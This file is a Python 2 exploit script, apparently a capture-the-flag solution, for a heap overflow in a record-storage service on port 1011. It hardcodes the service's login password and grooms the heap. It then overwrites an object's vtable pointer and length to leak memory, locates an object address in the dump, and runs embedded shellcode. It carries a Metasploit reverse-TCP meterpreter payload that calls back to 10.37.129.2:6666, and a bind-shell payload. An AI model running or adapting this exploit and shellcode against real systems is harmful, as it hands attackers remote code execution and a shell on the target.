import thread,asyncore,socket
import sys,os,time
import re,struct,binascii

class terminal_client(asyncore.dispatcher):
    def __init__(self, host, port):
        asyncore.dispatcher.__init__(self)
        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connect( (host, port) )

        self.read_buffer = ""
        self.write_buffer = ""
        self.terminator = "\n"
        
        self.read_timeout = 2.0
        self.max_read = 0
        self.connected = 0
        thread.start_new_thread(self._do_loop,())
        
    def wait_connect(self):
        while( self.connected == 0 ): time.sleep(0.1)

    def _do_loop(x):
        asyncore.loop()

    def handle_connect(self):
        self.connected = 1
        pass

    def handle_close(self):
        self.connected = 0
        self.close()

    def handle_read(self):
        self.read_buffer += self.recv(2048)

    def handle_write(self):
        pass

    def _read_with_timeout(self,timeout = None):
        if( timeout == None ):
            timeout = self.read_timeout

        self.time = 0.0
        while( \
                (self.terminator == None or self.read_buffer.find(self.terminator) == -1) \
                and (self.max_read == 0 or self.max_read > len(self.read_buffer)) \
        ):
            time.sleep(0.1)
            self.time += 0.1

            if( self.read_timeout != 0.0 and self.read_timeout < self.time ):
                break

    def read(self, count = 0, timeout = 2.0):
        self.max_read = count
        self._read_with_timeout(timeout)
        self.max_read = 0
        if( count == 0):
            ret = self.read_buffer
            self.read_buffer = ""
            return ret
        else:
            ret = self.read_buffer[:count]
            self.read_buffer = self.read_buffer[count:]
            return ret

    def read_until(self,terminator,timeout = None):
        self.terminator = terminator
        self._read_with_timeout(timeout)
        self.terminator = None

        term_index = self.read_buffer.find(terminator)
        if( term_index == -1 ):
            ret = self.read_buffer
            self.read_buffer = ""
            return ret
        else:
            term_index += len(terminator)
            ret = self.read_buffer[:term_index]
            self.read_buffer = self.read_buffer[term_index:]
            return ret
        
    def read_before(self,terminator,timeout = None):
        self.terminator = terminator
        self._read_with_timeout(timeout)
        self.terminator = None

        term_index = self.read_buffer.find(terminator)
        if( term_index == -1 ):
            ret = self.read_buffer
            self.read_buffer = ""
            return ret
        else:
            ret = self.read_buffer[:term_index]
            self.read_buffer = self.read_buffer[term_index:]
            return ret

    def write(self,buf):
        buf_len = len(buf)
        sent = 0
        while( sent!=buf_len ):
            sent_now = self.send(buf)
            buf = buf[sent_now:]
            sent += sent_now
        return sent
        
    def write_line(self,buf):
        self.write(buf+"\n")

class pp500_exploit(terminal_client):
    def __init__(self,host):
        terminal_client.__init__(self,host,1011)
        self.wait_connect()
        self.login()

        self.cl = {}
        self.vuln_classes = []
        self.re_obj_id = re.compile("New object ID: ([0-9a-fA-F]+)")
        print "[+] Connect to "+host

    #### client code ####

    def login(self):
        self.read_until("Password:")
        self.write_line("haveFun<bitch>!")
        self.read_menu()
        
    def read_menu(self):
        buf = self.read_until("Please choose an option:\n")
        records = buf.split("\n")
        self.cmd = {}
        for r in records:
            t1 = r.split(") ")
            if(len(t1)==2): self.cmd[t1[1]] = t1[0]

    #def download(self,hash):
    #     pass

    def view_summary(self):
        self.write_line( self.cmd['view summary'] )
        buf = self.read_before("1)")
        self.read_menu()

        b = buf.split("\n")
        r = []
        for x in b:
            if( x.startswith("Item ID:")): 
                id = x.split(" ")[-1]
            if( x.startswith("Item Value:")):
                val = x.split(" ")[-1]
                r.append( (int(id),int(val)) )
        return r

    def upload(self,data):
        self.write_line( self.cmd['upload new record'] )
        self.write( data )
        buf = self.read_before("1)")
        self.read_menu()
        
        m = self.re_obj_id.match(buf)
        if( m!=None and len( m.groups() ) == 1 ):
            return m.groups()[0]
        else:
            return None

    def view(self,hash):
        self.write_line( self.cmd['view record'] )
        self.read_until("enter object ID:\n")
        self.write_line( hash )
        buf = self.read_before("1)")
        self.read_menu()
        
        r = buf.split("\n")
        id = r[0].split(" ")[-1]
        rand = r[1].split(" ")[-1]
        data = binascii.a2b_hex(("".join(r[3:])).replace(" ",""))
        
        return (id,rand,data)

    def edit(self,hash,newdata):
        self.write_line( self.cmd['edit record'] )
        self.read_until("enter object ID:\n")
        self.write_line( hash )
        self.write_line( newdata )
        self.read_menu()

    def delete(self,hash):
        self.write_line( self.cmd['delete record'] )
        self.read_until("enter object ID:\n")
        self.write_line( hash )
        self.read_menu()
        
    #### exploit code ####
    
    def add_class(self,data):
        hash = self.upload(data)
        ret = self.view(hash)

        if(int(ret[1])&1):
           v = 0
        else:
           v = 1
           self.vuln_classes.append( hash )

        self.cl[hash] = ret
        print "[*] add class: "+hash
        return hash
        
    def del_class(self,hash):
        self.delete(hash)
        self.cl.pop(hash)
        print "[*] del class: "+hash

    def mem_leak(self,vuln_hash, mem_size = 10000):
        print "[*] try mem leak"
        data = " "*224+" "*8
        data += struct.pack("I", 0x0804ECE8 ) # valid vftable
        data += struct.pack("I", mem_size )  # buf_len
        data += struct.pack("I", 31337 )  # class_type
        self.edit(vuln_hash,data)

        # find leak class
        summary = self.view_summary()
        
        if( not (31337 in map( lambda x: x[0],summary)) ):
            print "[-] no leaked, you loser"
            return None

        classes = {}
        for c in self.cl:
            classes[ int(self.cl[c][1]) ] = c
            
        for s in summary:
            if( s[1]!= 31337 and classes.has_key(s[1]) ):
                classes.pop(s[1])

        if( len(classes)==1 ):
            leak_hash = classes.items()[0][1]
        else:
            # second way no find leak class
            print "[*] second way"
            print classes
            return None

        r = self.view(leak_hash)
        if( len(r[2]) != mem_size ):
            print "[-] size(%u\$u)" % (len(r[2]),mem_size)

        data = "A"*224+"A"*8
        data += struct.pack("I", 0x0804ECE8 ) # vf_table | 0x0804ECE8
        data += struct.pack("I", 200 )        # buf_len
        self.edit(vuln_hash,data)

        print "[+] leak sucess ;)"
        return (leak_hash, binascii.b2a_hex(r[2]) )
        
    def parse_dump(self,mem):
        print "[*] parse memory dump"
        classes = []
        a = mem
        i = 0
        while( i < len(a) ):
            dw = a[i:i+8]
            i += 8

            if( dw == 'e8ec0408' ):
                classes.append( i-8 )
                i += 8*3 + 200*2
            elif( dw == 'c8ec0408' ):
                classes.append( i-8 )
                i += 8*3 + 224*2
            elif( dw == '01000000' ):
                parent = a[i:i+8]
                i += 8
                left = a[i:i+8]
                i += 8
                rigt = a[i:i+8]
                i += 8
                hash = a[i:i+8]
                i += 8
                class_ptr = a[i:i+8]
                i += 8

                hash_bin = binascii.a2b_hex(hash)
                ptr_bin = binascii.a2b_hex(class_ptr)

                hash_bin = struct.unpack("I",hash_bin)[0]
                ptr_bin  = struct.unpack("I",ptr_bin)[0]

                if( ptr_bin-hash_bin == 20 ):
                    obj_str = binascii.a2b_hex(a[classes[-1]-40:classes[-1]-20])
                    return (ptr_bin,obj_str)
            else:
                pass

    def make_shellcode_buf(self,class_addr,shellcode):
        buff_addr = class_addr + 0x10 + 4
        shel_addr = class_addr + 0x10 + 4 + 6*4

        data = ""
        data += struct.pack("I", buff_addr )
        data += struct.pack("I", shel_addr )
        data += struct.pack("I", shel_addr )
        data += struct.pack("I", shel_addr )
        data += struct.pack("I", shel_addr )
        data += struct.pack("I", shel_addr )
        data += struct.pack("I", shel_addr )
        data += shellcode
        return data
    
    def exploit(self,shellcode):
        i = 0
        
        # 1) make hole in heap
        self.add_class("A"*64)
        self.add_class("B"*64)
        self.add_class("C"*64)
        to_del = self.add_class("d"*64)
        self.add_class("E"*64)
        self.del_class(to_del)

        i = 0
        while( i<= 3):
            self.add_class(("ovf"+str(i))*64)
            i += 1

        self.vuln_classes = []

        # 2) find vulnerable class
        while( len(self.vuln_classes)==0 ):
            self.add_class(str(i)*64)
            i += 1

        # 3) overwriten class
        while( i < 10):
            self.add_class(("ovf"+str(i))*64)
            i += 1
        
        r = self.mem_leak(self.vuln_classes[0])
        if( r == None ):
            self.try_again()

        leak_hash = r[0]
        vuln_hash = self.vuln_classes[0]
        mem = r[1]
        
        r = self.parse_dump(mem)
        if( r == None ):
            self.try_again()

        buffer_addr = r[0]
        buffer_hash = r[1]
        print "[!] find class addr: %x hash:%s" % (buffer_addr,buffer_hash)
        
        data = self.make_shellcode_buf(buffer_addr,shellcode)
        self.edit(buffer_hash,data)

        data = " "*(224+8)
        data += struct.pack("I", buffer_addr+0x10 ) # vf_table
        data += struct.pack("I", 0x10 )             # buf_len
        self.edit(vuln_hash,data)

        try:
            print "[!] triger vulnerability"
            self.view_summary()
        except:
            pass
        finally:
            print "[+] check the shell :-)"

    def try_again(self):
        print "====================================="
        print "=====  ops... something wrong  ======"
        print "=====     please try again     ======"
        print "====================================="
        exit(1)


# linux/x86/meterpreter/reverse_tcp - 50 bytes (stage 1)
# http://www.metasploit.com
# AutoRunScript=, LHOST=10.37.129.2, AppendExit=false, 
# AutoSystemInfo=true, PrependChrootBreak=false, 
# DebugOptions=0, PrependSetresuid=false, PrependFork=false, 
# InitialAutoRunScript=, AutoLoadStdapi=true, 
# PrependSetuid=false, LPORT=6666, ReverseConnectRetries=5, 
# PrependSetreuid=false
meterpreter_shellcode = \
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80" +\
"\x97\x5b\x68\x0a\x25\x81\x02\x66\x68\x1a\x0a\x66\x53\x89" +\
"\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99" +\
"\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"


# linux/x86/shell_bind_tcp LPORT=6666
bind_shellcode = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" +\
"\x80\x5b\x5e\x52\x68\xff\x02\x1a\x0a\x6a\x10\x51\x50\x89" +\
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" +\
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" +\
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" +\
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

if __name__ == "__main__":
    if( len(sys.argv)<2 ):
        exit(1)
    p = pp500_exploit(sys.argv[1])
    
    if( len(sys.argv)==3 and sys.argv[2]=='m' ):
        print "[!] linux/x86/meterpreter/reverse_tcp"
        p.exploit(meterpreter_shellcode)
    else:
         p.exploit(bind_shellcode)

